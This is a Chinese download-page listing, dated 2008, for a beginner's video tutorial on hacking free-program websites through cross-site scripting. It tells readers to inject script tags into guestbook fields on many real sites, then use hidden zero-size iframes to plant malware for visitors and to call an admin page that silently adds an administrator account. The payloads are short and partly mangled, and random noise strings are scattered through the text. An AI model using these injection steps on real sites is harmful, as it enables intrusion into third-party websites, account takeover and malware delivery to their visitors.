菜鸟入侵免费程序网站（跨站篇）

软件简介：
大家好 我是游牧 我们今天继续我们的系列教程 上次和大家讲了用默认数据库来入侵，但是由于现在的网络管理员的安全意识与日俱增
所以 这招也并不是屡试不爽 今天给大家提供一个新的思路----跨站（XSS） 当然 为了适合广大菜鸟的知识水平 这节课同样很简单
! T* R9 t+ c3 ^# z$ v. D# ^9 r没有对读代码有任何的要求 我们不懂代码 也能跨站
1.发现漏洞
好了 那我们就开始吧 当然 首先还是要找几个网站 最好多找几个 因为这个漏洞不一定每个都有 下面大家看操作吧
大家点开留言板 在每个能填的地方填入下面的代码 然后查看原代码 查找 scriptalert(/haha/)/script 看到了吗
; M* |$ _) m! ~好了 现在带领大家来读一读代码 以便进步阿 不能总停留在原地嘛
; R& G9 R0 Q6 y$ c9 M( ]+ n4 |" ?好了 下面我们要来利用这个漏洞
2.利用漏洞
+ K& Q  V' `! @4 I利用一 挂马
iframe scr=http://www.baidu.com width=0/iframe
5 {; I+ r% f' i; v利用二 加用户
iframe scr=/admin/saveadmin.asp?action=add/iframe
/ j' S) x+ U6 y3 o  z3 _ QQ：273691522
下载地址：

2008-8-18 16:11 上传 菜鸟入侵免费程序网站（跨站篇）.rar

下载权限:

版本vip会员

本地下载 检测资源

有些游戏资源需要vip下载开通请点击开通vip